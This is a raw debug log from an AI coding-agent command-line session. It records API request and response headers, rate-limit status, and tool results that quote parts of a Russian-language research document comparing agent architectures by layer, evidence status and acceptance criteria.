\"claude-code-20250219,oauth-2025-04-20,interleaved-thinking-2025-05-14,thinking-token-count-2026-05-13,context-management-2025-06-27,prompt-caching-scope-2026-01-05,mid-conversation-system-2026-04-07,per-turn-control-2026-07-01,mid-conversation-tool-changes-2026-07-01,advisor-tool-2026-03-01,advanced-tool-use-2025-11-20,mid-conversation-system-clear-at-2026-08-21,effort-2025-11-24,server-side-fallback-2026-07-01,fallback-credit-2026-06-01,thinking-binding-controls-2026-08-01,thinking-display-updates-2026-08-18,cache-diagnosis-2026-04-07,message-threads-2026-08-12\",\n[2026-09-29T07:46:43.142Z] [STDOUT]     \"anthropic-dangerous-direct-browser-access\": \"true\",\n[2026-09-29T07:46:43.146Z] [STDOUT]     \"anthropic-dispatch-id\": \"v2d\",\n[2026-09-29T07:46:43.152Z] [STDOUT]     \"anthropic-version\": \"2023-06-01\",\n[2026-09-29T07:46:43.155Z] [STDOUT]     authorization: \"[REDACTED]\",\n[2026-09-29T07:46:43.160Z] [STDOUT]     \"content-type\": \"application/json\",\n[2026-09-29T07:46:43.162Z] [STDOUT]     \"user-agent\": \"claude-cli/2.1.284 (external, sdk-cli)\",\n[2026-09-29T07:46:43.164Z] [STDOUT]     \"x-app\": \"cli\",\n[2026-09-29T07:46:43.169Z] [STDOUT]     \"x-cc-compaction-request\": \"auto\",\n[2026-09-29T07:46:43.172Z] [STDOUT]     \"x-claude-code-agent-id\": \"aadf7f40500b72ce3\",\n[2026-09-29T07:46:43.174Z] [STDOUT]     \"x-claude-code-compaction\": \"auto\",\n[2026-09-29T07:46:43.178Z] [STDOUT]     \"x-claude-code-prompt-id\": \"0c6b6133-0ba4-48fe-8f91-a84541ac33b7\",\n[2026-09-29T07:46:43.181Z] [STDOUT]     \"x-claude-code-request-class\": \"compaction\",\n[2026-09-29T07:46:43.184Z] [STDOUT]     \"x-claude-code-session-id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:46:43.188Z] [STDOUT]     \"x-client-request-id\": \"08460d89-5e11-4880-a814-d95190b5bfdb\",\n[2026-09-29T07:46:43.191Z] [STDOUT]     \"x-stainless-arch\": \"x64\",\n[2026-09-29T07:46:43.194Z] [STDOUT]     \"x-stainless-lang\": \"js\",\n[2026-09-29T07:46:43.196Z] [STDOUT]     \"x-stainless-os\": \"Linux\",\n[2026-09-29T07:46:43.201Z] [STDOUT]     \"x-stainless-package-version\": \"0.112.1\",\n[2026-09-29T07:46:43.207Z] [STDOUT]     \"x-stainless-retry-count\": \"0\",\n[2026-09-29T07:46:43.211Z] [STDOUT]     \"x-stainless-runtime\": \"node\",\n[2026-09-29T07:46:43.214Z] [STDOUT]     \"x-stainless-runtime-version\": \"v26.3.0\",\n[2026-09-29T07:46:43.217Z] [STDOUT]     \"x-stainless-timeout\": \"600\",\n[2026-09-29T07:46:43.221Z] [STDOUT]   },\n[2026-09-29T07:46:43.225Z] [STDOUT] }\n[2026-09-29T07:46:43.535Z] [INFO] {\n[2026-09-29T07:46:43.535Z] [INFO]   \"type\": \"user\",\n[2026-09-29T07:46:43.535Z] [INFO]   \"message\": {\n[2026-09-29T07:46:43.535Z] [INFO]     \"role\": \"user\",\n[2026-09-29T07:46:43.535Z] [INFO]     \"content\": [\n[2026-09-29T07:46:43.535Z] [INFO]       {\n[2026-09-29T07:46:43.535Z] [INFO]         \"tool_use_id\": \"toolu_01ALe8wm5vY9fvpuo91unrM2\",\n[2026-09-29T07:46:43.535Z] [INFO]         \"type\": \"tool_result\",\n[2026-09-29T07:46:43.535Z] [INFO]         \"content\": \"total 12\\ndrwxr-xr-x 2 box  box  4096 Sep 29 07:44 .\\ndrwxrwxrwt 1 root root 4096 Sep 29 07:46 ..\\n\u0434\u0435\u043d \u2014 \u00ab\u041d\u0435\u0442 \u0434\u0430\u043d\u043d\u044b\u0445\u00bb.\\\\n\\\\n## 4. \u0421\u0432\u0435\u0440\u043a\u0430 \u0441 \u0448\u0430\u0431\u043b\u043e\u043d\u043e\u043c \u0422\u0417 v4\\\\n\\\\n\u0428\u0430\u0431\u043b\u043e\u043d \u043e\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u0442 \u0412\u0410\u0422\u0421 / \u043a\u043e\u043d\u0442\u0430\u043a\u0442-\u0446\u0435\u043d\u0442\u0440 (\u0440\u0430\u0437\u0434\u0435\u043b\u044b 2, 3, 7\u20139, 12). \u041d\u0438 \u043e\u0434\u0438\u043d \u043f\u0443\u043d\u043a\u0442\\\\n\u0422\u0417 BCREQ-1114 (\u0443\u0441\u043b\u0443\u0433\u0438 \u043e\u043f\u0435\u0440\u0430\u0442\u043e\u0440\u0430: SIP-\u0442\u0440\u0430\u043d\u043a, \u0422\u0424\u041e\u041f, SLA) \u043d\u0435 \u0441\u043e\u0432\u043f\u0430\u0434\u0430\u0435\u0442 >90%,\\\\n\u043f\u0440\u0430\u0432\u0438\u043b\u043e \u00ab\u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u043e \u0431\u0435\u0437 \u043e\u0431\u043e\u0441\u043d\u043e\u0432\u0430\u043d\u0438\u044f\u00bb \u043d\u0435 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[INFO]         \"is_error\": false\n[2026-09-29T07:46:43.535Z] [INFO]       }\n[2026-09-29T07:46:43.535Z] [INFO]     ]\n[2026-09-29T07:46:43.535Z] [INFO]   },\n[2026-09-29T07:46:43.535Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T07:46:43.535Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:46:43.535Z] [INFO]   \"uuid\": \"ace87279-70ed-46d6-88ee-decd72070de4\",\n[2026-09-29T07:46:43.535Z] [INFO]   \"timestamp\": \"2026-09-29T07:46:43.527Z\",\n[2026-09-29T07:46:43.535Z] [INFO]   \"tool_use_result\": {\n[2026-09-29T07:46:43.535Z] [INFO]     \"stdout\": \"total 12\\ndrwxr-xr-x 2 box  box  4096 Sep 29 07:44 .\\ndrwxrwxrwt 1 root root 4096 Sep 29 07:46 ..\\n\u0434\u0435\u043d \u2014 \u00ab\u041d\u0435\u0442 \u0434\u0430\u043d\u043d\u044b\u0445\u00bb.\\\\n\\\\n## 4. \u0421\u0432\u0435\u0440\u043a\u0430 \u0441 \u0448\u0430\u0431\u043b\u043e\u043d\u043e\u043c \u0422\u0417 v4\\\\n\\\\n\u0428\u0430\u0431\u043b\u043e\u043d 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\"[REDACTED]\",\n[2026-09-29T07:46:43.754Z] [STDOUT]     \"content-type\": \"application/json\",\n[2026-09-29T07:46:43.757Z] [STDOUT]     \"user-agent\": \"claude-cli/2.1.284 (external, sdk-cli)\",\n[2026-09-29T07:46:43.761Z] [STDOUT]     \"x-app\": \"cli\",\n[2026-09-29T07:46:43.767Z] [STDOUT]     \"x-claude-code-prev-tool-durations\": \"Bash=1311\",\n[2026-09-29T07:46:43.771Z] [STDOUT]     \"x-claude-code-prompt-id\": \"0c6b6133-0ba4-48fe-8f91-a84541ac33b7\",\n[2026-09-29T07:46:43.776Z] [STDOUT]     \"x-claude-code-request-class\": \"main\",\n[2026-09-29T07:46:43.782Z] [STDOUT]     \"x-claude-code-session-id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:46:43.786Z] [STDOUT]     \"x-client-request-id\": \"6f97e404-a742-4329-b9be-40208b29a043\",\n[2026-09-29T07:46:43.789Z] [STDOUT]     \"x-stainless-arch\": \"x64\",\n[2026-09-29T07:46:43.792Z] [STDOUT]     \"x-stainless-lang\": \"js\",\n[2026-09-29T07:46:43.796Z] [STDOUT]     \"x-stainless-os\": \"Linux\",\n[2026-09-29T07:46:43.801Z] [STDOUT]     \"x-stainless-package-version\": \"0.112.1\",\n[2026-09-29T07:46:43.803Z] [STDOUT]     \"x-stainless-retry-count\": \"0\",\n[2026-09-29T07:46:43.806Z] [STDOUT]     \"x-stainless-runtime\": \"node\",\n[2026-09-29T07:46:43.810Z] [STDOUT]     \"x-stainless-runtime-version\": \"v26.3.0\",\n[2026-09-29T07:46:43.815Z] [STDOUT]     \"x-stainless-timeout\": \"600\",\n[2026-09-29T07:46:43.817Z] [STDOUT]   },\n[2026-09-29T07:46:43.820Z] [STDOUT] }\n[2026-09-29T07:46:44.359Z] [STDOUT] [log_806bf2, request-id: \"req_011CfXMrZr7ogFdPXuef7X8S\"] post https://api.anthropic.com/v1/messages?beta=true succeeded with status 200 in 756ms\n[2026-09-29T07:46:44.363Z] [STDOUT] [log_806bf2] response start {\n[2026-09-29T07:46:44.366Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:46:44.370Z] [STDOUT]   status: 200,\n[2026-09-29T07:46:44.375Z] [STDOUT]   headers: {\n[2026-09-29T07:46:44.379Z] [STDOUT]     \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:46:44.382Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:46:44.385Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:46:44.389Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-utilization\": \"0.37\",\n[2026-09-29T07:46:44.392Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:46:44.396Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:46:44.400Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:46:44.402Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-utilization\": \"0.77\",\n[2026-09-29T07:46:44.407Z] [STDOUT]     \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:46:44.410Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:46:44.414Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:46:44.421Z] [STDOUT]     \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:46:44.425Z] [STDOUT]     \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:46:44.430Z] [STDOUT]     \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:46:44.435Z] [STDOUT]     \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:46:44.438Z] [STDOUT]     \"cache-control\": \"no-cache\",\n[2026-09-29T07:46:44.446Z] [STDOUT]     \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:46:44.449Z] [STDOUT]     \"cf-ray\": \"a429602e882adbb5-FRA\",\n[2026-09-29T07:46:44.453Z] [STDOUT]     connection: \"keep-alive\",\n[2026-09-29T07:46:44.458Z] [STDOUT]     \"content-encoding\": \"gzip\",\n[2026-09-29T07:46:44.462Z] [STDOUT]     \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:46:44.464Z] [STDOUT]     \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:46:44.468Z] [STDOUT]     date: \"Tue, 29 Sep 2026 07:46:44 GMT\",\n[2026-09-29T07:46:44.471Z] [STDOUT]     \"request-id\": \"req_011CfXMrZr7ogFdPXuef7X8S\",\n[2026-09-29T07:46:44.474Z] [STDOUT]     server: \"cloudflare\",\n[2026-09-29T07:46:44.477Z] [STDOUT]     \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:46:44.480Z] [STDOUT]     traceresponse: \"00-7dfa793da5db5150a38ecbf7c843eef8-e9e41b44b757e707-01\",\n[2026-09-29T07:46:44.484Z] [STDOUT]     \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:46:44.488Z] [STDOUT]     vary: \"Accept-Encoding\",\n[2026-09-29T07:46:44.492Z] [STDOUT]     \"x-robots-tag\": \"none\",\n[2026-09-29T07:46:44.496Z] [STDOUT]   },\n[2026-09-29T07:46:44.502Z] [STDOUT]   durationMs: 756,\n[2026-09-29T07:46:44.506Z] [STDOUT] }\n[2026-09-29T07:46:44.508Z] [STDOUT] response 200 https://api.anthropic.com/v1/messages?beta=true Headers {\n[2026-09-29T07:46:44.515Z] [STDOUT]   \"date\": \"Tue, 29 Sep 2026 07:46:44 GMT\",\n[2026-09-29T07:46:44.520Z] [STDOUT]   \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:46:44.525Z] [STDOUT]   \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:46:44.533Z] [STDOUT]   \"connection\": \"keep-alive\",\n[2026-09-29T07:46:44.538Z] [STDOUT]   \"cache-control\": \"no-cache\",\n[2026-09-29T07:46:44.542Z] [STDOUT]   \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:46:44.545Z] [STDOUT]   \"content-encoding\": \"gzip\",\n[2026-09-29T07:46:44.548Z] [STDOUT]   \"vary\": \"Accept-Encoding\",\n[2026-09-29T07:46:44.551Z] [STDOUT]   \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:46:44.554Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:46:44.558Z] [STDOUT]   \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:46:44.561Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:46:44.563Z] [STDOUT]   \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:46:44.567Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-utilization\": \"0.37\",\n[2026-09-29T07:46:44.572Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:46:44.575Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:46:44.578Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:46:44.581Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:46:44.584Z] [STDOUT]   \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:46:44.590Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:46:44.596Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-utilization\": \"0.77\",\n[2026-09-29T07:46:44.600Z] [STDOUT]   \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:46:44.603Z] [STDOUT]   \"request-id\": \"req_011CfXMrZr7ogFdPXuef7X8S\",\n[2026-09-29T07:46:44.606Z] [STDOUT]   \"traceresponse\": \"00-7dfa793da5db5150a38ecbf7c843eef8-e9e41b44b757e707-01\",\n[2026-09-29T07:46:44.610Z] [STDOUT]   \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:46:44.614Z] [STDOUT]   \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:46:44.619Z] [STDOUT]   \"server\": \"cloudflare\",\n[2026-09-29T07:46:44.625Z] [STDOUT]   \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:46:44.637Z] [STDOUT]   \"x-robots-tag\": \"none\",\n[2026-09-29T07:46:44.642Z] [STDOUT]   \"cf-ray\": \"a429602e882adbb5-FRA\",\n[2026-09-29T07:46:44.647Z] [STDOUT] } ReadableStream { locked: false, state: 'readable', supportsBYOB: false }\n[2026-09-29T07:46:44.650Z] [STDOUT] [log_806bf2] response parsed {\n[2026-09-29T07:46:44.655Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:46:44.658Z] [STDOUT]   status: 200,\n[2026-09-29T07:46:44.660Z] [STDOUT]   body: X {\n[2026-09-29T07:46:44.663Z] [STDOUT]     iterator: [AsyncGeneratorFunction: i],\n[2026-09-29T07:46:44.666Z] [STDOUT]     controller: AbortController {\n[2026-09-29T07:46:44.669Z] [STDOUT]       signal: [AbortSignal ...],\n[2026-09-29T07:46:44.672Z] [STDOUT]       abort: [Function: abort],\n[2026-09-29T07:46:44.676Z] [STDOUT]     },\n[2026-09-29T07:46:44.679Z] [STDOUT]     [Symbol(Symbol.asyncIterator)]: [Function],\n[2026-09-29T07:46:44.683Z] [STDOUT]     tee: [Function: tee],\n[2026-09-29T07:46:44.688Z] [STDOUT]     toReadableStream: [Function: toReadableStream],\n[2026-09-29T07:46:44.692Z] [STDOUT]   },\n[2026-09-29T07:46:44.698Z] [STDOUT]   durationMs: 757,\n[2026-09-29T07:46:44.702Z] [STDOUT] }\n[2026-09-29T07:46:44.710Z] [INFO] {\n[2026-09-29T07:46:44.710Z] [INFO]   \"type\": \"user\",\n[2026-09-29T07:46:44.710Z] [INFO]   \"message\": {\n[2026-09-29T07:46:44.710Z] [INFO]     \"role\": \"user\",\n[2026-09-29T07:46:44.710Z] [INFO]     \"content\": [\n[2026-09-29T07:46:44.710Z] [INFO]       {\n[2026-09-29T07:46:44.710Z] [INFO]         \"tool_use_id\": \"toolu_015b8Byv3jMfmbQfxFZDpkhn\",\n[2026-09-29T07:46:44.710Z] [INFO]         \"type\": \"tool_result\",\n[2026-09-29T07:46:44.710Z] [INFO]         \"content\": \"## \u041c\u0435\u0442\u043e\u0434\\n\\n1. **\u0422\u0440\u0438 \u0441\u043b\u043e\u044f.** \u041a\u0430\u0436\u0434\u0430\u044f \u0433\u0438\u043f\u043e\u0442\u0435\u0437\u0430 \u043e\u0442\u043d\u043e\u0441\u0438\u0442\u0441\u044f \u043a \u043e\u0434\u043d\u043e\u043c\u0443 \u0441\u043b\u043e\u044e: \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c\\n   (\u0433\u0440\u0443\u043f\u043f\u0430 [\u0415](#\u0435-\u0441\u043b\u043e\u0439-1-\u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c-\u0438-\u0435\u0451-\u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u0430-\u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f)),\\n   \u0441\u0440\u0435\u0434\u044b (\u0433\u0440\u0443\u043f\u043f\u0430 [\u0416](#\u0436-\u0441\u043b\u043e\u0439-2-\u0441\u0440\u0435\u0434\u044b-\u0430\u0433\u0435\u043d\u0442-\u043a\u043b\u0438\u0435\u043d\u0442-\u043c\u043e\u0434\u0435\u043b\u044c-\u0447\u0435\u043b\u043e\u0432\u0435\u043a)),\\n   \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u044b (\u0433\u0440\u0443\u043f\u043f\u0430 [\u0417](#\u0437-\u0441\u043b\u043e\u0439-3-\u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u044b-\u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0437\u0430\u0446\u0438\u0438-\u0438-\u0437\u0430\u043f\u0443\u0441\u043a\u0430)).\\n2. **\u0414\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u0430.** \u0421\u0442\u0440\u043e\u043a\u0438 \u043a\u043e\u0434\u0430 \u0438 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u043e\u0432 \u0432 `main`; \u043f\u0440\u043e\u0431\u044b runner\\n   GigaCode `P10`\u2026`P12` \u0432\\n   [`experiments/issue_639_runner_probes.py`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/experiments/issue_639_runner_probes.py)\\n   \u0441 [\u0436\u0443\u0440\u043d\u0430\u043b\u043e\u043c](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/experiments/issue_639_runner_probes.log);\\n   \u0432\u043d\u0435\u0448\u043d\u0438\u0435 \u043f\u0435\u0440\u0432\u043e\u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0438 \u2014 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u0446\u0438\u044f, \u043b\u0438\u0446\u0435\u043d\u0437\u0438\u0438 \u0438 \u0438\u0441\u0445\u043e\u0434\u043d\u044b\u0439 \u043a\u043e\u0434\\n   \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u043e\u0432, \u043f\u0440\u043e\u0447\u0438\u0442\u0430\u043d\u043d\u044b\u0435 2026-09-29. \u0412\u0442\u043e\u0440\u0438\u0447\u043d\u044b\u0435 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0438 \u043f\u043e\u043c\u0435\u0447\u0435\u043d\u044b.\\n3. **\u0421\u0442\u0430\u0442\u0443\u0441\u044b.** \u00ab\u041f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u043e\u00bb \u0438 \u00ab\u041e\u043f\u0440\u043e\u0432\u0435\u0440\u0433\u043d\u0443\u0442\u043e\u00bb \u2014 \u043a\u0430\u043a \u0432 \u043f\u0435\u0440\u0432\u043e\u0439 \u0447\u0430\u0441\u0442\u0438.\\n   \u00ab\u0427\u0430\u0441\u0442\u0438\u0447\u043d\u043e\u00bb \u2014 \u0443\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0438\u0435 \u0432\u0435\u0440\u043d\u043e \u043f\u0440\u0438 \u0443\u0441\u043b\u043e\u0432\u0438\u0438, \u043a\u043e\u0442\u043e\u0440\u043e\u0435 \u043d\u0430\u0437\u0432\u0430\u043d\u043e \u0432\\n   \u0434\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u0435. \u00ab\u041d\u0435 \u043f\u0440\u043e\u0432\u0435\u0440\u0435\u043d\u043e\u00bb \u2014 \u043f\u0435\u0440\u0432\u043e\u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0430 \u043d\u0435\u0442, \u0443\u043a\u0430\u0437\u0430\u043d\u043e, \u043a\u0430\u043a\\n   \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c.\\n4. **\u0423\u0432\u0435\u0440\u0435\u043d\u043d\u043e\u0441\u0442\u044c \u0438 \u0442\u0438\u043f \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u0438** \u2014 \u043a\u0430\u043a \u0432 \u043f\u0435\u0440\u0432\u043e\u0439 \u0447\u0430\u0441\u0442\u0438: \u0432\u044b\u0441\u043e\u043a\u0430\u044f,\\n   \u0441\u0440\u0435\u0434\u043d\u044f\u044f, \u043d\u0438\u0437\u043a\u0430\u044f; \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u0435, \u0438\u0441\u043f\u0440\u0430\u0432\u0438\u0442\u044c, \u043c\u0435\u043d\u0442\u0430\u043b\u044c\u043d\u0430\u044f \u043c\u043e\u0434\u0435\u043b\u044c. \u0414\u043b\u044f \u0441\u043b\u043e\u044f 3\\n   \u0434\u043e\u0431\u0430\u0432\u043b\u0435\u043d \u0442\u0438\u043f **\u0432\u044b\u0431\u043e\u0440** \u2014 \u0440\u0435\u0448\u0435\u043d\u0438\u0435 \u0447\u0435\u043b\u043e\u0432\u0435\u043a\u0430 \u043c\u0435\u0436\u0434\u0443 \u0432\u0430\u0440\u0438\u0430\u043d\u0442\u0430\u043c\u0438.\\n5. **\u041a\u0440\u0438\u0442\u0435\u0440\u0438\u0439 \u0443\u0441\u043f\u0435\u0445\u0430 \u0432\u0430\u0440\u0438\u0430\u043d\u0442\u0430.** \u0412\u0430\u0440\u0438\u0430\u043d\u0442 \u0433\u043e\u0434\u0438\u0442\u0441\u044f \u043a\u0430\u043a \u044f\u0434\u0440\u043e, \u0435\u0441\u043b\u0438 \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u0442\\n   \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u0430 \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u0438 (\u0433\u0440\u0430\u0444 \u0441 \u043f\u0440\u0435\u0434\u0438\u043a\u0430\u0442\u0430\u043c\u0438 `EP-R3`/`EP-R5`, \u0437\u0430\u043f\u0438\u0441\u044c\\n   \u0440\u0435\u0448\u0435\u043d\u0438\u0439 `EP-R6`, \u043a\u043e\u0440\u0440\u0435\u043a\u0442\u0438\u0440\u0443\u044e\u0449\u0430\u044f \u043f\u043e\u043f\u044b\u0442\u043a\u0430 `EP-R7`, \u0432\u043e\u0437\u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 `EP-R8`,\\n   \u0436\u0443\u0440\u043d\u0430\u043b `EP-R9`, G-human) \u043a\u043e\u0434\u043e\u043c \u0432\u043d\u0435 \u043c\u043e\u0434\u0435\u043b\u0438, \u0431\u0435\u0440\u0451\u0442 \u0433\u0440\u0430\u0444 \u0438\u0437 Source \u0431\u0435\u0437\\n   \u0440\u0443\u0447\u043d\u043e\u0439 \u043f\u0435\u0440\u0435\u0440\u0438\u0441\u043e\u0432\u043a\u0438 \u0438 \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u0432 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u044f\u0445 \u0441\u0432\u043e\u0435\u0439 \u0441\u0440\u0435\u0434\u044b.\\n6. **\u041f\u043e\u0440\u043e\u0433 \u043e\u043f\u0440\u043e\u0432\u0435\u0440\u0436\u0435\u043d\u0438\u044f \u0432\u0430\u0440\u0438\u0430\u043d\u0442\u0430.** \u0412\u0430\u0440\u0438\u0430\u043d\u0442 \u043e\u0442\u0432\u0435\u0440\u0433\u0430\u0435\u0442\u0441\u044f \u043a\u0430\u043a \u044f\u0434\u0440\u043e, \u0435\u0441\u043b\u0438\\n   \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u043e \u0445\u043e\u0442\u044f \u0431\u044b \u043e\u0434\u043d\u043e: \u043c\u0430\u0440\u0448\u0440\u0443\u0442 \u043d\u0443\u0436\u043d\u043e \u043f\u0435\u0440\u0435\u0440\u0438\u0441\u043e\u0432\u0430\u0442\u044c \u0432\u0440\u0443\u0447\u043d\u0443\u044e \u0438 \u0434\u0435\u0440\u0436\u0430\u0442\u044c\\n   \u0432\u0442\u043e\u0440\u044b\u043c \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u043e\u043c \u0438\u0441\u0442\u0438\u043d\u044b; \u043f\u043e\u0440\u044f\u0434\u043e\u043a \u0448\u0430\u0433\u043e\u0432 \u0440\u0435\u0448\u0430\u0435\u0442 \u043c\u043e\u0434\u0435\u043b\u044c; \u043d\u0435\u0442 \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043a\\n   \u043a\u043e\u0440\u043f\u043e\u0440\u0430\u0442\u0438\u0432\u043d\u043e\u0439 \u043c\u043e\u0434\u0435\u043b\u0438 \u0432 \u0446\u0435\u043b\u0435\u0432\u043e\u0439 \u0441\u0440\u0435\u0434\u0435; \u043b\u0438\u0446\u0435\u043d\u0437\u0438\u044f \u0437\u0430\u043f\u0440\u0435\u0449\u0430\u0435\u0442 \u0432\u043d\u0443\u0442\u0440\u0435\u043d\u043d\u0435\u0435\\n   \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 \u0438\u043b\u0438 \u0442\u0440\u0435\u0431\u0443\u0435\u0442 \u043f\u043b\u0430\u0442\u043d\u043e\u0439 \u0432\u0435\u0440\u0441\u0438\u0438 \u0434\u043b\u044f \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u0439 \u0444\u0443\u043d\u043a\u0446\u0438\u0438.\\n\\n## \u041f\u043e\u0434\u0434\u0435\u0440\u0436\u0438\u0432\u0430\u044e\u0449\u0438\u0435 \u0438 \u043e\u043f\u0440\u043e\u0432\u0435\u0440\u0433\u0430\u044e\u0449\u0438\u0435 \u0441\u0432\u0438\u0434\u0435\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u0430\\n\\n- **\u0417\u0430 \u00ab\u043c\u0430\u0440\u0448\u0440\u0443\u0442 \u0432 \u043a\u043e\u0434\u0435, \u043c\u043e\u0434\u0435\u043b\u044c \u043d\u0430 \u0448\u0430\u0433\u0435\u00bb.** Anthropic: workflow \u0434\u0430\u044e\u0442\\n  \u00abpredictability and consistency for well-defined tasks\u00bb\\n  ([Building effective agents](https://www.anthropic.com/engineering/building-effective-agents));\\n  HumanLayer, \u0444\u0430\u043a\u0442\u043e\u0440 8 \u2014 \u00abOwn your control flow\u00bb\\n  ([12-factor agents](https://github.com/humanlayer/12-factor-agents));\\n  LangChain: \u043f\u043e\u0447\u0442\u0438 \u0432\u0441\u0435 \u0441\u0438\u0441\u0442\u0435\u043c\u044b \u0432 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0441\u0442\u0432\u0435 \u2014 \u0441\u043e\u0447\u0435\u0442\u0430\u043d\u0438\u0435 workflow \u0438\\n  \u0430\u0433\u0435\u043d\u0442\u043e\u0432 ([How to think about agent frameworks](https://www.langchain.com/blog/how-to-think-about-agent-frameworks)).\\n  BA-\u043c\u0430\u0440\u0448\u0440\u0443\u0442 \u0441 